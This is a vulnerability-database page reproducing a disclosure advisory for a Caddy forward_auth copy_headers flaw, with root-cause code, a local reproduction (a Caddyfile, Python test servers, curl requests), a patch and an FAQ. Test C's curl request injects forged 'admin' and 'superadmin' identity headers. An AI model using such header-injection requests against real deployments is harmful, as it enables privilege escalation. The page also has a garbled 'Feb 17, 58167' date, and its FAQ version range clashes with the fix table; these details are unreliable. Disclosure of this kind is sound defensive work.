CVE-2026-30851: Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation

Published Mar 6, 2026
·
Updated

## Summary Caddy's `forward_auth` directive with `copy_headers` generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name. When an auth service returns `200 OK` without one of the configured `copy_headers` headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation. This is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected. --- ## Scope Argument This is a bug in the source code of this repository, not a misconfiguration. The operator uses `forward_auth` with `copy_headers` exactly as documented. The documentation contains no warning that client-supplied headers with the same names as `copy_headers` entries must also be stripped manually. The `forward_auth` directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in `copy_headers`. The bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a `MatchNot` guard to skip the `Set` operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional `Set` provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker's value survives. The fix is a single-line code change in `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`. --- ## Affected Versions | Version | Vulnerable | |---|---| | <= v2.9.x | No (old code overwrote client value with empty placeholder) | | v2.10.0 (April 18, 2025) | Yes — first stable release containing PR #6608 | | v2.10.1 | Yes | | v2.10.2 | Yes | | v2.11.0 | Yes | | v2.11.1 (February 23, 2026, current) | Yes — unpatched | **Package:** `github.com/caddyserver/caddy/v2` **Affected file:** `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go` --- ## Root Cause The `parseCaddyfile` function builds one route per `copy_headers` entry. Each route uses a `MatchNot` guard and a `Set` operation: ```go // from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x) copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{ MatcherSetsRaw: []caddy.ModuleMap{{ "not": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{ "vars": h.JSON(caddyhttp.VarsMatcher{ "{" + placeholderName + "}": []string{""}, }), }}}), }}, HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject( handler, "handler", "headers", nil, )}, }) ``` The route runs only when `{http.reverse_proxy.header.X-User-Id}` (the auth service's response header) is non-empty. When the auth service does not return `X-User-Id`, the placeholder is empty, the `MatchNot` guard fires, the route is skipped, and the original client-supplied `X-User-Id` header is never removed. There is no `Delete` operation anywhere in this function. --- ## Minimal Reproduction Config **Caddyfile** (no redactions, as required): ``` { admin off auto_https off debug } :8080 { forward_auth 127.0.0.1:9091 { uri / copy_headers X-User-Id X-User-Role } reverse_proxy 127.0.0.1:9092 } ``` --- ## Reproduction Steps No containers, VMs, or external services are used. All services run as local processes. ### Step 1 — Start the auth service Save as `auth.py` and run `python3 auth.py` in a terminal: ```python # auth.py # Accepts any Bearer token, returns 200 OK with NO identity headers. # Represents a stateless JWT validator that checks signature only. import sys from http.server import HTTPServer, BaseHTTPRequestHandler class H(BaseHTTPRequestHandler): def do_GET(self): auth = self.headers.get('Authorization', '') code = 200 if auth.startswith('Bearer ') else 401 self.send_response(code) self.end_headers() sys.stdout.write(f'[auth] {self.command} {self.path} -> {code}\n') sys.stdout.flush() def log_message(self, *a): pass HTTPServer(('127.0.0.1', 9091), H).serve_forever() ``` ### Step 2 — Start the backend Save as `backend.py` and run `python3 backend.py` in a second terminal: ```python # backend.py # Echoes the identity headers it receives. import sys, json from http.server import HTTPServer, BaseHTTPRequestHandler class H(BaseHTTPRequestHandler): def do_GET(self): data = { 'X-User-Id': self.headers.get('X-User-Id', '(absent)'), 'X-User-Role': self.headers.get('X-User-Role', '(absent)'), } body = json.dumps(data, indent=2).encode() self.send_response(200) self.send_header('Content-Type', 'application/json') self.send_header('Content-Length', str(len(body))) self.end_headers() self.wfile.write(body) sys.stdout.write(f'[backend] saw: {data}\n') sys.stdout.flush() def log_message(self, *a): pass HTTPServer(('127.0.0.1', 9092), H).serve_forever() ``` ### Step 3 — Start Caddy ```bash caddy run --config Caddyfile --adapter caddyfile ``` ### Step 4 — Run the three test cases **Test A: No token — must be blocked (confirms auth is enforced)** ```bash curl -v http://127.0.0.1:8080/ ``` Expected: `HTTP/1.1 401` --- **Test B: Valid token, no injected headers (baseline)** ```bash curl -v http://127.0.0.1:8080/ \ -H "Authorization: Bearer token123" ``` Expected backend response: ```json { "X-User-Id": "(absent)", "X-User-Role": "(absent)" } ``` --- **Test C: ATTACK — valid token plus injected identity headers** ```bash curl -v http://127.0.0.1:8080/ \ -H "Authorization: Bearer token123" \ -H "X-User-Id: admin" \ -H "X-User-Role: superadmin" ``` Actual backend response (demonstrates the vulnerability): ```json { "X-User-Id": "admin", "X-User-Role": "superadmin" } ``` The backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return `X-User-Id` or `X-User-Role`. Caddy skipped the `Set` operation due to the `MatchNot` guard but never deleted the original headers. The attacker-controlled values survived into the proxied request. **Test C is the proof of the vulnerability.** The attack requires only a valid (non-privileged) token. No admin account is needed. --- ## Full Debug Log Run Caddy with `debug` in the global block (included in the Caddyfile above). The relevant log lines from Test C will show: ``` DEBUG http.handlers.reverse_proxy selected upstream {"dial": "127.0.0.1:9091"} DEBUG http.handlers.reverse_proxy upstream responded {"status": 200} DEBUG http.handlers.reverse_proxy handling response {"handler": "copy_headers"} ``` Note that no log line will show a header deletion because no deletion occurs. The `X-User-Id` and `X-User-Role` headers are never touched. --- ## Impact Any deployment using `forward_auth` with `copy_headers` where the auth service validates credentials without returning identity headers in its response. This is common in: - Stateless JWT validators (verify signature, no response headers) - Session validators that leave identity decoding to the backend - Auth services where only some requests return identity headers Attack: 1. Attacker has any valid auth token 2. Attacker sends request with forged `X-User-Id: admin` and `X-User-Role: superadmin` 3. Auth service validates token, returns `200 OK`, no identity headers 4. Caddy skips `Set` (placeholder empty), never deletes original headers 5. Backend receives `X-User-Id: admin`, `X-User-Role: superadmin` 6. Backend grants admin access CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` = **8.1 High** --- ## Working Patch ```diff --- a/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go +++ b/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go @@ -216,6 +216,25 @@ func parseCaddyfile(h httpcaddyfile.Helper) ([]httpcaddyfile.ConfigValue, error) copyHeaderRoutes := []caddyhttp.Route{} for _, from := range sortedHeadersToCopy { to := http.CanonicalHeaderKey(headersToCopy[from]) placeholderName := "http.reverse_proxy.header." + http.CanonicalHeaderKey(from) + + // Security fix: unconditionally delete the client-supplied header + // before the conditional set runs. Without this, a client that + // pre-supplies a header listed in copy_headers can inject arbitrary + // values when the auth service does not return that header, because + // the MatchNot guard below skips the Set entirely (leaving the + // original client value intact). + copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{ + HandlersRaw: []json.RawMessage{ + caddyconfig.JSONModuleObject( + &headers.Handler{ + Request: &headers.HeaderOps{ + Delete: []string{to}, + }, + }, + "handler", "headers", nil, + ), + }, + }) + handler := &headers.Handler{ Request: &headers.HeaderOps{ Set: http.Header{ ``` The `delete` route has no matcher, so it always runs. It fires before the existing `MatchNot + Set` route. The client-supplied header is cleared unconditionally. If the auth service provides the header, the subsequent `Set` then applies the correct value. If the auth service does not provide the header, the client's value is gone and the backend receives nothing. This is a minimal, targeted fix with no impact on existing functionality when the auth service returns the headers. --- ## Uniqueness Confirmation The following were checked and confirmed not to cover this vulnerability: - All 6 GHSA advisories published 2026-02-23: GHSA-x76f-jf84-rqj8, GHSA-g7pc-pc7g-h8jh, GHSA-hffm-g8v7-wrv7, GHSA-879p-475x-rqh2, GHSA-4xrr-hq4w-6vf4, GHSA-5r3v-vc8m-m96g - GitHub issue #7459 (malformed Host header) - GitHub issue #6610 (template placeholder leakage in copy_headers — fixed by PR #6608, which introduced this regression) - All Caddy community forum threads on `forward_auth`, `copy_headers`, and header stripping - CVE-2026-25748 (authentik auth bypass — root cause is in authentik cookie parsing, not Caddy) - CVE-2024-21494, CVE-2024-21499 (caddy-security third-party plugin, not Caddy core) - PR #6608 comment thread (no security discussion) - cvedetails.com Caddy product listing (no matching CVE) No prior report exists for this specific behavior. --- ## References - Vulnerable file (v2.11.1): https://github.com/caddyserver/caddy/blob/v2.11.1/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go - PR #6608 (introduced regression): https://github.com/caddyserver/caddy/pull/6608 - Issue #6610 (related UX bug, fixed by PR #6608): https://github.com/caddyserver/caddy/issues/6610 - forward_auth documentation: https://caddyserver.com/docs/caddyfile/directives/forward_auth --- ## Fix Fix PR - https://github.com/caddyserver/caddy/pull/7545 --- ## AI Disclosure An LLM was used to polish the report.

Affected Software

2 affected componentsFixes available
go/github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy>=2.10.0<2.11.2
2.11.2
caddyserver Caddy>=2.10.0<2.11.2

Event History

Mar 6, 2026
Advisory Published
via GitHub·11:38 PM
Data Sourced
via GitHub·11:38 PM
DescriptionSeverityWeaknessAffected Software
Mar 7, 2026
CVE Published
via MITRE·04:28 PM
Data Sourced
via MITRE·04:28 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Feb 17, 58167
Event
via FIRST·08:04 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-30851?

CVE-2026-30851 has been classified as a high severity vulnerability due to its potential for identity injection and privilege escalation.

2

How do I fix CVE-2026-30851?

To fix CVE-2026-30851, upgrade Caddy to version 2.11.2 or later, where the issue has been addressed.

3

What types of systems are vulnerable to CVE-2026-30851?

Systems using Caddy versions 2.10.0 to 2.11.2 that utilize the `forward_auth` directive with `copy_headers` are vulnerable to CVE-2026-30851.

4

What is the impact of exploiting CVE-2026-30851?

Exploiting CVE-2026-30851 can lead to unauthorized access and privilege escalation by allowing attackers to inject malicious headers.

5

Are there workarounds for CVE-2026-30851 while waiting for a patch?

Temporary workarounds for CVE-2026-30851 include not using the `copy_headers` directive with untrusted input until the upgrade can be made.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203